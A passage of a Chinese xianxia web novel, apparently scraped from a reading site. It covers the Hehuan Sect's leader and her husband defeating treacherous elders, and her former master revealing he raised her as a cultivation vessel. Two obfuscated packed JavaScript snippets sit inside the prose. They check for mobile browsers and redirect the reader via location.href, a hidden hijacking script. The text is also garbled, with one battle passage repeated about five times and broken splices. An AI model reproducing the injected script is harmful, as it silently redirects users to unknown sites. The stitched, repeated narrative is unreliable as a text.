两人刚跃至半空,一道血色剑光横亘在前。 慕长歌笑容温和,“两位何必急着送死?” “狂妄!” 墨有机祭出一柄长刀,“区区小辈安敢拦我兄弟二人?” 墨有丹则默不作声地掐诀,袖中飞出数十枚淬毒银针,在空中划出诡异弧线。 血煞剑轻轻一划,一道血色屏障凭空浮现,便将那二人所有攻势尽数挡下。 慕长歌剑尖轻颤,“你们可以一起上,省得麻烦。” “找死!” 长刀化作一条黑龙直扑慕长歌。 墨有丹趁机绕到他背后,手中多出一柄泛着绿芒的**。 叮! 血煞剑挡住了黑龙,慕长歌头也不回地反手一抓,捏住了墨有丹的手腕。 他侧首露出一个令人胆寒的微笑。 咔嚓! 清脆的骨折声响起,墨有丹惨叫着跪倒在地。 慕长歌抬脚一踹,将他踢向墨有机,兄弟二人撞作一团,在地上滚出数十丈远。 两人狼狈地从地上爬起,眼中满是惊骇。 “二哥,不能留手了!” 墨有丹捂着骨折的手腕,咬牙切齿。 墨有机脸色阴沉,“能逼我们兄弟使出全力,你足以自傲了!” 轰! 两股强大的气息同时爆发。 墨有机身后浮现一尊通体漆黑的巨熊法相,足有三丈高。 墨有丹身后是一只碧绿毒蝎法相,尾勾闪烁着瘆人寒光。 第149章 双熊内斗自相残,慕公子谈笑破敌 两尊法相共同发出震天咆哮。 玉蟾脸色大变。 黑煞巨熊,碧磷毒蝎,这可是那二人的法相。 他不知以慕长歌的实力,在二打一的情况下,有没有胜算。 只是见他神色从容,挽了个剑花,还冲着那二人勾了勾手指。 如此挑衅,让那两人各自怒喝一声。 黑煞巨熊挥动巨掌拍下,碧磷毒蝎的尾钩,刺向慕长歌后心。 两**相的夹击,让玉蟾手中为慕长歌捏了一把汗。 他看得心惊,有心上前帮忙,可以他的实力,一不小心忙没帮到,自己反而死翘翘了。 “玉蟾长老何故叹息? 青竹一边维持着阵法运转,一边凑过来问道。 玉蟾老脸一红,“你不懂。 “我似乎能懂。 青竹意味深长地点着头。 “你懂什么? 玉蟾瞪眼。 青竹认真道,“长老怕死。 “…… 玉蟾气的胡子直翘,又无法反驳。 谁让青竹说得没错啊! 这边的动静,惊动了马上要将墨玄机**的南宫媚儿。 如她预料的那般,夫君从不会让她失望。 她美眸中倒映着慕长歌挥动血煞剑,将黑煞巨熊拍飞的画面。 “力道不错。 他笑着点评,“就是准头差了点。 碧磷毒蝎的尾钩已至后心,慕长歌连头也没回。 他左手掐诀,一道金色光幕在背后浮现,毒钩刺在光幕上,发出刺耳的摩擦,再也不得存进。 “速度还行。 慕长歌继续点评,“就是毒性弱了些。 墨有机和墨有丹脸色铁青,他们拼尽全力的攻击,在这个年轻人眼中竟如同儿戏。 “混账! 墨有机怒吼,黑煞巨熊双掌齐出,掀起狂暴罡风。 慕长歌身形一闪,如鬼魅般出现在巨熊头顶。 他足尖轻点,巨熊竟被这一脚踩得跪倒在地,连同墨有机也直不起身,好似身上背了一座巨山。 墨有丹见兄长被压制,操控着碧磷毒蝎法相腾空而起,尾钩闪烁着瘆人寒光,直取慕长歌后心。 慕长歌不曾回过头,在毒蝎杀到的前一秒身影如泡沫般消散。 墨有丹瞳孔骤缩,还未来得及收力,毒蝎尾钩已经狠狠刺向,挣扎起身的黑煞巨熊。 “住手! 墨有 机的大喊,终究晚了一步。 碧绿毒钩命中了巨熊胸口,剧毒瞬间蔓延,黑煞巨熊发出痛苦咆哮,反手一掌拍在了毒蝎头上。 两尊法相同时遭受重创,墨有机和墨有丹齐齐喷出一口鲜血,法相不受控制地缩回体内。 扑通! 兄弟两人狼狈地摔在地上,脸色惨白如纸。 墨有丹捂着胸口,警惕看向四周,“那小子人呢?” “我在这儿。” 慕长歌坐在树枝上,血煞剑化作三寸大小,在指尖旋转,“本是同根生,相煎何太急,两位这招手足相残,很精彩。” 他脸上的笑,看在老二和老三眼里,是赤裸裸的讽刺。 墨有机气得又吐了一口血。 玉蟾目瞪口呆,拍手叫好,这招借力打力,简直绝了! 原来还能这样,活到老,学到老. 青竹若有所思地点着头。 轰隆! 一声巨响震彻丛林。 墨玄机如陨石从天而降,砸在了地面上。 他身后的三头六臂法相化作点点灵光消散,老迈的身躯在地上犁出一道数丈长的沟壑,又吐了口血。 “大哥!” 墨有机和墨有丹同时惊呼,挣扎着想要爬起。 粉色流光翩然落下,南宫媚儿玉足轻点地面,月白留仙裙下露出一截莹润如玉的小腿。 她莲步轻移,裙摆开合间尽是风情。 “大长老。” 她红唇轻启,声音酥媚中带着刺骨寒意,“你可知错?” “老夫何错之有?” 墨玄机支撑起身子,“我所做的一切,都是为了宗门!” “勾结魔修,残害同门,这就是你所说的为了宗门?” 南宫媚儿美眸微眯,勾起一抹冷笑,“大长老这为宗门好的方式,未免让人有些不好接受。” “你懂什么!” 墨玄机枯瘦的手指颤抖着指向她,“为达目的必然要有所牺牲!而这些牺牲,都是你带来的!” 他嘶哑的声音中带着一丝疯狂,“师兄闭关前命我监管宗门,可你处处与我作对,合欢宗千年保持中立,你却向正道靠拢!” “甚至要与天魔门为敌,你这是把全宗弟子往死路上带!” 墨玄机这番话说得声嘶力竭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594526|171297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在场不少弟子面露迟疑。 确实,合欢宗向来在正邪之间游走,行事风格全凭个人喜好,既不失正道之风,也不入魔道之流,两不得罪。 “你怕了 ?” 沉默过后,南宫媚儿只有这简短的三个字。 墨玄机失笑,“老夫是怕,我怕这数千年的基业,毁在你手里,你可知师兄为何将宗主之位传给你?” 看着她皱眉,墨玄机继续道,“因为合欢宗需要那么一颗棋子,可我没想到,你居然隐藏了修为,另外.” 他又看了眼依旧坐在树枝上的慕长歌,“他的出现,进一步搅乱了我们的布局。” 南宫媚儿美眸流转,红唇微抿,指尖轻饶着发丝,忽然展颜一笑,这一笑让墨玄机浑身发冷。 “所以.” 她莲步轻移,裙摆摇曳生姿,“那日我离开宗门,刚好是你们下手的大好时机,而魔门的人,又恰好与你们取得联系。” “他们想要禁地中的东西,你们就以让他们抓走我的方式,假装被迫交出禁地之物,如此,你们为赎回宗主,交出去就无可厚非” “其他正道势力得知,也不会指责合欢宗与魔门有所勾结,同时还能避免魔门攻打合欢宗,盘算得不错。” 她擦过墨玄机身侧迈着步,“只可惜,你忘了禁地之物,祖师严令绝不能落在魔门手里。” 南宫媚儿转过身,美眸迸射着刺骨的寒意,“你如此作为,已是违背了祖师之命,还有.那里面到底是什么?” “是三千年前上古十二魔尊之一乌云魔尊的本源。” 慕长歌慵懒地接过话茬。 望着颇为错愕的南宫媚儿,以及瞳孔泛着冷意的墨玄机,他摊了摊手,从树上跃下。 “是你们祖师告诉我的,他在欲海那一关留了道神念,还说她对你很满意。” 他捏了下南宫媚儿的鼻子尖,掌心浮现出一枚玉简,“这是碧落仙子留给你的传承,七情合道诀。” 听到七情合道诀时,南宫媚儿皱了皱眉,似乎有什么不解之事。 不过眼下却不是多想的时候,便将那玉简小心妥当地收了起来。 铛! 铛! 铛! 钟声一连九响。 从合欢宗大殿方向传来。 玉蟾听后,面色大变,“不好,出事了,宗门恐有变故,我们要尽快回去!” 第150章 血染合欢胭脂泪,七情一剑斩伤悲 “你们的事暂且不论。” 南宫媚儿眼神复杂地看向墨玄机三人,稍作沉默后又道,“若大长老你们当真有悔过之意,就随我先行解决眼下的麻烦。” 那三人互相看了眼彼此,嘴角微翘,一行人赶回合欢宗。 广场上,眼前的景象让南宫媚儿僵硬在原地。 数百名修为高深的魔修,正与合欢宗弟子厮杀,鲜血染红了青石地面。 “宗主.” 一名重伤的弟子挣扎着爬了过起来,胸口的血洞触目惊心,“护宗大阵不知为何损毁.让这些魔修.闯.闯.” 他咳出一口血,用最后的力气喊道,“请宗主带大家.退退” 话音未落,这人再无声息。 南宫媚儿娇躯微颤,身周气息不寒而栗。 她玉指掐入掌心,冰冷的眼眸犀利如剑,狠狠刺向墨玄机三人。 “不错。” 墨玄机坦然点头,“是我让老二老三放他们进来的。” 他眼眸里很是平静,那厮杀声,惨叫声,不曾引起他半点波澜,好似倒下去的不是合欢宗弟子一般。 “你你你墨玄机,你这个疯子,老夫我.我.” 轰! 玉蟾也不知哪来的胆子,出窍境的气息陡然爆发,他手中拂尘的白色丝线,根根如同银白的细针硬了起来,却被南宫媚儿止住。 “玉蟾,你去帮诸位长老退敌!” 她又瞥了眼身侧,“夫君,帮我掠阵!” 慕长歌未曾多言,清理门户这种事,交给南宫媚儿自己比较好。 而且他觉得今日这件事,不会那么容易过去。 “为什么这么做?” 南宫媚儿强行压制心头震怒,“我给你们最后一次机会解释。” “自然是为了宗门,老夫说过,为达目的必然有所牺牲。” 墨玄机面色不变,“今日一战虽折损些弟子,可禁地中那个烫手之物,却可以名正言顺交出去,自此合欢宗无恙。” “不错!” 墨有机紧跟着接话,“南宫媚儿,走到如今这一步,只能怪你自己,若你不曾跳出我们的计划,这些弟子也就不用死!” “南宫媚儿,你才是害死他们的凶手!” 墨有丹冷笑着指责,继续道,“你只是颗棋子,却妄想跳出棋局,你罪该万死!” 咔! 南宫媚儿低垂着眼帘,粉拳握紧至失去血色,如墨的眸子里,翻涌着滔**火。 “所以.你 们早就想着将禁地之物交出去?” 低沉的声音让在场的众人,感受到了刺骨的寒意,那双眸子抬起时,更是聚敛着无尽的杀意。 若说方才她还想念着这三人是门中的长辈,知错悔改之后,便适当地放他们一马。 可如此作为,已是触及到了底线,甚至与背叛宗门无异。 不杀他们,莫说她道心难安,就是死去的弟子,灵魂又怎能安息。 望着几人沉默不言,她红唇勾起一抹凄美的弧度,“你们口口声声为了宗门,实际上就是怕死。” 她眼中噙着泪光。 第一滴为死去那些弟子的冤魂。 第二滴为宗门千年的基业。 第三滴为罪己 只是第三滴尚未落下,便被蒸腾的杀意化作雾气。 “今日,我南宫媚儿受命祖师,执行门规!” 轰! 一道粉色光柱冲天而起。 她凌空而立,身后巨大的合欢花法相完全绽放,五道璀璨光轮如烈日般耀眼。 漫天粉色花瓣化作利刃,在她周身形成毁灭性的风暴。 “判尔等——神魂俱灭!” 审判之音如同惊雷炸响,玉手轻抬,漫天粉色花瓣骤然凝聚成一柄十丈长的审判之剑。 墨玄机脸色骤变,龙头杖砸向地面,三头六臂法相再现。 但这一次,法相胸口赫然多了一道血色魔纹。 “南宫媚儿,死的应该是你!” “不错,倘若宗主战死,更没人怀疑我们合欢宗了!” 墨有机和墨有丹同时暴起,前者祭出一柄长刀,刀身缠绕腥臭黑雾,后者袖中飞出数十枚淬毒银针。 南宫媚儿抬了抬眼,审判之剑轻轻一划。 嗤! 一道粉色剑气横扫而出。 墨有机的长刀应声如断,墨有丹的**更是眨眼间泯灭成飞灰。 兄弟二人吐血倒飞,砸落在了十丈外的地面。 此刻,南宫媚儿视线移转,那审判之剑也指向了墨玄机。 墨玄机突然狞笑,他撕开衣襟,露出胸膛上狰狞蠕动的魔纹。 “以我精血,祭请魔尊!” 随着低吼,他那法相骤然膨胀三倍,六件法器在空中扭曲融合,化作一柄缠绕着漆黑魔焰的巨斧。 斧刃上浮现出无数狰狞鬼脸,发出刺耳的尖啸,带着毁天灭地之势劈向南宫媚儿。 慕长歌眉头微皱,指尖浮现出三寸大小的血煞剑,剑身嗡鸣,时刻准备 着出手。 南宫媚儿原地未动。 她望着那柄魔气森森的巨斧,眼中闪过一丝心痛,“你竟然修炼了魔功,为了力量,最后的底线都不要了吗!” “闭嘴!” 墨玄机暴怒,巨斧威势更盛,“只有力量,才是我辈修士最终的追求!” 巨斧劈落,魔焰滔天。 南宫媚儿轻叹一声,审判之剑绽放出刺目粉光。 七情斩——哀! 一剑出,天地同悲。 粉色剑光与黑炎巨斧相撞,爆发出震耳欲聋的轰鸣。 交手中的众人无不停止了动作,皆是观望着他们两人的决战。 碎裂声中,黑炎巨斧出现道道裂痕。 墨玄机喷出一口黑血,难以置信地瞪大眼睛,“不可能!这可是” “魔道之力?” 南宫媚儿冷笑,剑光去势不减,“不过如此!” 慕长歌眼中闪过一丝诧异,方才那一剑,堪称惊艳,但似乎还蕴含着能够影响心神的一股能量。 对! 七情之力! 这女人掌握了七情之力,那碧落仙子又为何还要给他那个传承? 等等! 他似乎想到了南宫媚儿,拿到玉简时表情中的诧异与不解。 因此得出结论,玉简内应当不是**传承,而是其他。 碧落担心他会擅自吞下,所以上面有一层特殊的禁制,并告诉他是**传承。 **. 这一个个的,身上咋就那么多眼儿? 还有南宫媚儿,看来他这个做夫君的远远不够了解自己的女人,还需继续深入深入。 他唇角微翘,瞳孔中倒映着南宫媚儿的身影。 她凌空而立,往日那妩媚妖娆的姿态尽数消失,取而代之的是眉宇间充斥着的肃杀之气。 剑光似长虹贯日,洞穿了墨玄机的法相,余威直取他的喉咙。 墨玄机瞳孔瞪大,感受到了致命的威胁。 他抓过墨有机挡在了身前。 “大哥你——” 墨有机的声音戛然而止。 剑光透体穿过,他的躯体化作了漫天血雾。 墨玄机趁机暴退,枯瘦的手指掐诀念咒,周身泛起血雾之气。 “想跑?” 南宫媚儿美眸一寒,玉手结印,“情网天罗!” 无数粉色丝线从虚空中浮现,编织成一张遮天巨网。 墨玄机的血遁,刚施展到一半,被硬生生拦了下来。 在绝望的嘶吼中,审判之剑带着七情之力,率先贯穿了墨有丹,直至他化为飞灰,又冲向满脸惊恐,被丝线束缚住的墨玄机。 着出手。 南宫媚儿原地未动。 她望着那柄魔气森森的巨斧,眼中闪过一丝心痛,“你竟然修炼了魔功,为了力量,最后的底线都不要了吗!” “闭嘴!” 墨玄机暴怒,巨斧威势更盛,“只有力量,才是我辈修士最终的追求!” 巨斧劈落,魔焰滔天。 南宫媚儿轻叹一声,审判之剑绽放出刺目粉光。 七情斩——哀! 一剑出,天地同悲。 粉色剑光与黑炎巨斧相撞,爆发出震耳欲聋的轰鸣。 交手中的众人无不停止了动作,皆是观望着他们两人的决战。 碎裂声中,黑炎巨斧出现道道裂痕。 墨玄机喷出一口黑血,难以置信地瞪大眼睛,“不可能!这可是” “魔道之力?” 南宫媚儿冷笑,剑光去势不减,“不过如此!” 慕长歌眼中闪过一丝诧异,方才那一剑,堪称惊艳,但似乎还蕴含着能够影响心神的一股能量。 对! 七情之力! 这女人掌握了七情之力,那碧落仙子又为何还要给他那个传承? 等等! 他似乎想到了南宫媚儿,拿到玉简时表情中的诧异与不解。 因此得出结论,玉简内应当不是**传承,而是其他。 碧落担心他会擅自吞下,所以上面有一层特殊的禁制,并告诉他是**传承。 **. 这一个个的,身上咋就那么多眼儿? 还有南宫媚儿,看来他这个做夫君的远远不够了解自己的女人,还需继续深入深入。 他唇角微翘,瞳孔中倒映着南宫媚儿的身影。 她凌空而立,往日那妩媚妖娆的姿态尽数消失,取而代之的是眉宇间充斥着的肃杀之气。 剑光似长虹贯日,洞穿了墨玄机的法相,余威直取他的喉咙。 墨玄机瞳孔瞪大,感受到了致命的威胁。 他抓过墨有机挡在了身前。 “大哥你——” 墨有机的声音戛然而止。 剑光透体穿过,他的躯体化作了漫天血雾。 墨玄机趁机暴退,枯瘦的手指掐诀念咒,周身泛起血雾之气。 “想跑?” 南宫媚儿美眸一寒,玉手结印,“情网天罗!” 无数粉色丝线从虚空中浮现,编织成一张遮天巨网。 墨玄机的血遁,刚施展到一半,被硬生生拦了下来。 在绝望的嘶吼中,审判之剑带着七情之力,率先贯穿了墨有丹,直至他化为飞灰,又冲向满脸惊恐,被丝线束缚住的墨玄机。 着出手。 南宫媚儿原地未动。 她望着那柄魔气森森的巨斧,眼中闪过一丝心痛,“你竟然修炼了魔功,为了力量,最后的底线都不要了吗!” “闭嘴!” 墨玄机暴怒,巨斧威势更盛,“只有力量,才是我辈修士最终的追求!” 巨斧劈落,魔焰滔天。 南宫媚儿轻叹一声,审判之剑绽放出刺目粉光。 七情斩——哀! 一剑出,天地同悲。 粉色剑光与黑炎巨斧相撞,爆发出震耳欲聋的轰鸣。 交手中的众人无不停止了动作,皆是观望着他们两人的决战。 碎裂声中,黑炎巨斧出现道道裂痕。 墨玄机喷出一口黑血,难以置信地瞪大眼睛,“不可能!这可是” “魔道之力?” 南宫媚儿冷笑,剑光去势不减,“不过如此!” 慕长歌眼中闪过一丝诧异,方才那一剑,堪称惊艳,但似乎还蕴含着能够影响心神的一股能量。 对! 七情之力! 这女人掌握了七情之力,那碧落仙子又为何还要给他那个传承? 等等! 他似乎想到了南宫媚儿,拿到玉简时表情中的诧异与不解。 因此得出结论,玉简内应当不是**传承,而是其他。 碧落担心他会擅自吞下,所以上面有一层特殊的禁制,并告诉他是**传承。 **. 这一个个的,身上咋就那么多眼儿? 还有南宫媚儿,看来他这个做夫君的远远不够了解自己的女人,还需继续深入深入。 他唇角微翘,瞳孔中倒映着南宫媚儿的身影。 她凌空而立,往日那妩媚妖娆的姿态尽数消失,取而代之的是眉宇间充斥着的肃杀之气。 剑光似长虹贯日,洞穿了墨玄机的法相,余威直取他的喉咙。 墨玄机瞳孔瞪大,感受到了致命的威胁。 他抓过墨有机挡在了身前。 “大哥你——” 墨有机的声音戛然而止。 剑光透体穿过,他的躯体化作了漫天血雾。 墨玄机趁机暴退,枯瘦的手指掐诀念咒,周身泛起血雾之气。 “想跑?” 南宫媚儿美眸一寒,玉手结印,“情网天罗!” 无数粉色丝线从虚空中浮现,编织成一张遮天巨网。 墨玄机的血遁,刚施展到一半,被硬生生拦了下来。 在绝望的嘶吼中,审判之剑带着七情之力,率先贯穿了墨有丹,直至他化为飞灰,又冲向满脸惊恐,被丝线束缚住的墨玄机。 着出手。 南宫媚儿原地未动。 她望着那柄魔气森森的巨斧,眼中闪过一丝心痛,“你竟然修炼了魔功,为了力量,最后的底线都不要了吗!” “闭嘴!” 墨玄机暴怒,巨斧威势更盛,“只有力量,才是我辈修士最终的追求!” 巨斧劈落,魔焰滔天。 南宫媚儿轻叹一声,审判之剑绽放出刺目粉光。 七情斩——哀! 一剑出,天地同悲。 粉色剑光与黑炎巨斧相撞,爆发出震耳欲聋的轰鸣。 交手中的众人无不停止了动作,皆是观望着他们两人的决战。 碎裂声中,黑炎巨斧出现道道裂痕。 墨玄机喷出一口黑血,难以置信地瞪大眼睛,“不可能!这可是” “魔道之力?” 南宫媚儿冷笑,剑光去势不减,“不过如此!” 慕长歌眼中闪过一丝诧异,方才那一剑,堪称惊艳,但似乎还蕴含着能够影响心神的一股能量。 对! 七情之力! 这女人掌握了七情之力,那碧落仙子又为何还要给他那个传承? 等等! 他似乎想到了南宫媚儿,拿到玉简时表情中的诧异与不解。 因此得出结论,玉简内应当不是**传承,而是其他。 碧落担心他会擅自吞下,所以上面有一层特殊的禁制,并告诉他是**传承。 **. 这一个个的,身上咋就那么多眼儿? 还有南宫媚儿,看来他这个做夫君的远远不够了解自己的女人,还需继续深入深入。 他唇角微翘,瞳孔中倒映着南宫媚儿的身影。 她凌空而立,往日那妩媚妖娆的姿态尽数消失,取而代之的是眉宇间充斥着的肃杀之气。 剑光似长虹贯日,洞穿了墨玄机的法相,余威直取他的喉咙。 墨玄机瞳孔瞪大,感受到了致命的威胁。 他抓过墨有机挡在了身前。 “大哥你——” 墨有机的声音戛然而止。 剑光透体穿过,他的躯体化作了漫天血雾。 墨玄机趁机暴退,枯瘦的手指掐诀念咒,周身泛起血雾之气。 “想跑?” 南宫媚儿美眸一寒,玉手结印,“情网天罗!” 无数粉色丝线从虚空中浮现,编织成一张遮天巨网。 墨玄机的血遁,刚施展到一半,被硬生生拦了下来。 在绝望的嘶吼中,审判之剑带着七情之力,率先贯穿了墨有丹,直至他化为飞灰,又冲向满脸惊恐,被丝线束缚住的墨玄机。 着出手。 南宫媚儿原地未动。 她望着那柄魔气森 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594527|171297||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 森的巨斧,眼中闪过一丝心痛,“你竟然修炼了魔功,为了力量,最后的底线都不要了吗!” “闭嘴!” 墨玄机暴怒,巨斧威势更盛,“只有力量,才是我辈修士最终的追求!” 巨斧劈落,魔焰滔天。 南宫媚儿轻叹一声,审判之剑绽放出刺目粉光。 七情斩——哀! 一剑出,天地同悲。 粉色剑光与黑炎巨斧相撞,爆发出震耳欲聋的轰鸣。 交手中的众人无不停止了动作,皆是观望着他们两人的决战。 碎裂声中,黑炎巨斧出现道道裂痕。 墨玄机喷出一口黑血,难以置信地瞪大眼睛,“不可能!这可是” “魔道之力?” 南宫媚儿冷笑,剑光去势不减,“不过如此!” 慕长歌眼中闪过一丝诧异,方才那一剑,堪称惊艳,但似乎还蕴含着能够影响心神的一股能量。 对! 七情之力! 这女人掌握了七情之力,那碧落仙子又为何还要给他那个传承? 等等! 他似乎想到了南宫媚儿,拿到玉简时表情中的诧异与不解。 因此得出结论,玉简内应当不是**传承,而是其他。 碧落担心他会擅自吞下,所以上面有一层特殊的禁制,并告诉他是**传承。 **. 这一个个的,身上咋就那么多眼儿? 还有南宫媚儿,看来他这个做夫君的远远不够了解自己的女人,还需继续深入深入。 他唇角微翘,瞳孔中倒映着南宫媚儿的身影。 她凌空而立,往日那妩媚妖娆的姿态尽数消失,取而代之的是眉宇间充斥着的肃杀之气。 剑光似长虹贯日,洞穿了墨玄机的法相,余威直取他的喉咙。 墨玄机瞳孔瞪大,感受到了致命的威胁。 他抓过墨有机挡在了身前。 “大哥你——” 墨有机的声音戛然而止。 剑光透体穿过,他的躯体化作了漫天血雾。 墨玄机趁机暴退,枯瘦的手指掐诀念咒,周身泛起血雾之气。 “想跑?” 南宫媚儿美眸一寒,玉手结印,“情网天罗!” 无数粉色丝线从虚空中浮现,编织成一张遮天巨网。 墨玄机的血遁,刚施展到一半,被硬生生拦了下来。 在绝望的嘶吼中,审判之剑带着七情之力,率先贯穿了墨有丹,直至他化为飞灰,又冲向满脸惊恐,被丝线束缚住的墨玄机。 着出手。 南宫媚儿原地未动。 她望着那柄魔气森森的巨斧,眼中闪过一丝心痛,“你竟然修炼了魔功,为了力量,最后的底线都不要了吗!” “闭嘴!” 墨玄机暴怒,巨斧威势更盛,“只有力量,才是我辈修士最终的追求!” 巨斧劈落,魔焰滔天。 南宫媚儿轻叹一声,审判之剑绽放出刺目粉光。 七情斩——哀! 一剑出,天地同悲。 粉色剑光与黑炎巨斧相撞,爆发出震耳欲聋的轰鸣。 交手中的众人无不停止了动作,皆是观望着他们两人的决战。 碎裂声中,黑炎巨斧出现道道裂痕。 墨玄机喷出一口黑血,难以置信地瞪大眼睛,“不可能!这可是” “魔道之力?” 南宫媚儿冷笑,剑光去势不减,“不过如此!” 慕长歌眼中闪过一丝诧异,方才那一剑,堪称惊艳,但似乎还蕴含着能够影响心神的一股能量。 对! 七情之力! 这女人掌握了七情之力,那碧落仙子又为何还要给他那个传承? 等等! 他似乎想到了南宫媚儿,拿到玉简时表情中的诧异与不解。 因此得出结论,玉简内应当不是**传承,而是其他。 碧落担心他会擅自吞下,所以上面有一层特殊的禁制,并告诉他是**传承。 **. 这一个个的,身上咋就那么多眼儿? 还有南宫媚儿,看来他这个做夫君的远远不够了解自己的女人,还需继续深入深入。 他唇角微翘,瞳孔中倒映着南宫媚儿的身影。 她凌空而立,往日那妩媚妖娆的姿态尽数消失,取而代之的是眉宇间充斥着的肃杀之气。 剑光似长虹贯日,洞穿了墨玄机的法相,余威直取他的喉咙。 墨玄机瞳孔瞪大,感受到了致命的威胁。 他抓过墨有机挡在了身前。 “大哥你——” 墨有机的声音戛然而止。 剑光透体穿过,他的躯体化作了漫天血雾。 墨玄机趁机暴退,枯瘦的手指掐诀念咒,周身泛起血雾之气。 “想跑?” 南宫媚儿美眸一寒,玉手结印,“情网天罗!” 无数粉色丝线从虚空中浮现,编织成一张遮天巨网。 墨玄机的血遁,刚施展到一半,被硬生生拦了下来。 在绝望的嘶吼中,审判之剑带着七情之力,率先贯穿了墨有丹,直至他化为飞灰,又冲向满脸惊恐,被丝线束缚住的墨玄机。 着出手。 南宫媚儿原地未动。 她望着那柄魔气森森的巨斧,眼中闪过一丝心痛,“你竟然修炼了魔功,为了力量,最后的底线都不要了吗!” “闭嘴!” 墨玄机暴怒,巨斧威势更盛,“只有力量,才是我辈修士最终的追求!” 巨斧劈落,魔焰滔天。 南宫媚儿轻叹一声,审判之剑绽放出刺目粉光。 七情斩——哀! 一剑出,天地同悲。 粉色剑光与黑炎巨斧相撞,爆发出震耳欲聋的轰鸣。 交手中的众人无不停止了动作,皆是观望着他们两人的决战。 碎裂声中,黑炎巨斧出现道道裂痕。 墨玄机喷出一口黑血,难以置信地瞪大眼睛,“不可能!这可是” “魔道之力?” 南宫媚儿冷笑,剑光去势不减,“不过如此!” 慕长歌眼中闪过一丝诧异,方才那一剑,堪称惊艳,但似乎还蕴含着能够影响心神的一股能量。 对! 七情之力! 这女人掌握了七情之力,那碧落仙子又为何还要给他那个传承? 等等! 他似乎想到了南宫媚儿,拿到玉简时表情中的诧异与不解。 因此得出结论,玉简内应当不是**传承,而是其他。 碧落担心他会擅自吞下,所以上面有一层特殊的禁制,并告诉他是**传承。 **. 这一个个的,身上咋就那么多眼儿? 还有南宫媚儿,看来他这个做夫君的远远不够了解自己的女人,还需继续深入深入。 他唇角微翘,瞳孔中倒映着南宫媚儿的身影。 她凌空而立,往日那妩媚妖娆的姿态尽数消失,取而代之的是眉宇间充斥着的肃杀之气。 剑光似长虹贯日,洞穿了墨玄机的法相,余威直取他的喉咙。 墨玄机瞳孔瞪大,感受到了致命的威胁。 他抓过墨有机挡在了身前。 “大哥你——” 墨有机的声音戛然而止。 剑光透体穿过,他的躯体化作了漫天血雾。 墨玄机趁机暴退,枯瘦的手指掐诀念咒,周身泛起血雾之气。 “想跑?” 南宫媚儿美眸一寒,玉手结印,“情网天罗!” 无数粉色丝线从虚空中浮现,编织成一张遮天巨网。 墨玄机的血遁,刚施展到一半,被硬生生拦了下来。 在绝望的嘶吼中,审判之剑带着七情之力,率先贯穿了墨有丹,直至他化为飞灰,又冲向满脸惊恐,被丝线束缚住的墨玄机。 第151章 夫君护妻展神威,半步大乘也吃瘪 “住手! 厉喝如惊雷炸响,震得整个合欢宗广场为之一颤。 这声音中蕴含着浑厚灵力,让南宫媚儿凝聚出的审判之剑,就此停顿在墨玄机跟前。 “师兄救我! 墨玄机浑浊的老眼中,迸发出狂喜之色。 “师父? 南宫媚儿瞳孔微缩。 来人一袭青衫,面容俊朗如青年,唯有那双深邃眼眸透着千年沧桑,他腰间悬着一枚古朴玉佩,其上刻着千山二字。 “媚儿! 厉千山负手而立,声音温和不容置疑,“还不放了你墨师叔! 他周身散发着若有若无的威压,那是洞虚大圆满,半步大乘的气息。 审判之剑的锋芒,距离墨玄机咽喉仅剩三寸。 她红唇紧抿,眼中闪过一丝挣扎,“师父,大长老他们. “勾结魔修?还是残害同门? 厉千山轻笑一声,一道柔和灵力,将审判之剑推开,“这些为师都知道,也只有这么做,咱们合欢宗才能活下去。 南宫媚儿听后娇躯一震,美眸中满是不可置信。 似是没想到最终安排这一切的人,是自己的师父。 望着她那神色,厉千山笑了笑,“倘若你知晓天魔门有多强大,便会明白为师的良苦用心。 “我合欢宗不求成为举世无双的修仙门派,只求在修真界占据一席之地,如此无愧祖师之传承。 对于眼前的魔道之人,厉千山似乎视若不见,连同倒在血泊中的弟子一并如是。 到了他这境界,万物皆蝼蚁。 “您不觉得自己这些话有些可笑么? 她眼中再无往日的敬畏,“若是等到魔道独大那天,我们是生是死,皆在对方一念之间,届时师父又怎能保证,合欢宗尚存? “天魔门之所以存在,实际上只为杀一个人。 沉默了片刻的厉千山,转身看向她,“只要这个人不是他们要杀之人,他们不会枉造杀戮。 “他们造的杀戮还少吗? 南宫媚儿冷笑,不敢苟同。 不知为何,她总觉自己师父这次出关,就像是变了一个人。 慕长歌在厉千山身上扫了扫,眉头轻轻一皱,又舒展开来,他能知道这些事,看来是接触过那个乌云魔尊的本源。 想来也知道关于魔巢,以及先天魔尊和后天魔尊的区别。 “他人杀戮与我等何干? 厉千山笑 呵呵地侧过身,“不错,媚儿你给了为师一个惊喜,如今这身修为,倒也适合去做那件事。 “为师闭关数百年,就是为了参悟合欢大道最后一重。 他那声音如清风拂面,“只是需要一位天生媚骨的女修作为炉鼎相助,而你,就是为师精心培养的完美容器。 广场上一片死寂。 作为上代宗主的厉千山,居然只是将南宫媚儿作为炉鼎培养。 且更为震撼的,大长老他们勾结魔道,也是他默许的。 “你的一切是为师给的,无论身份还是地位,那么也是时候回报为师,助我突破境界了,只有为师强大,你们才有保障。 他修长的手指,就要挑起南宫媚儿的下巴。 唰! 一道凌厉剑气骤然划过,削断了厉千山额头前的一缕青丝,一滴血珠从他俊美的脸颊上缓缓渗出。 他的手指僵在半空,眼中闪过一丝错愕。 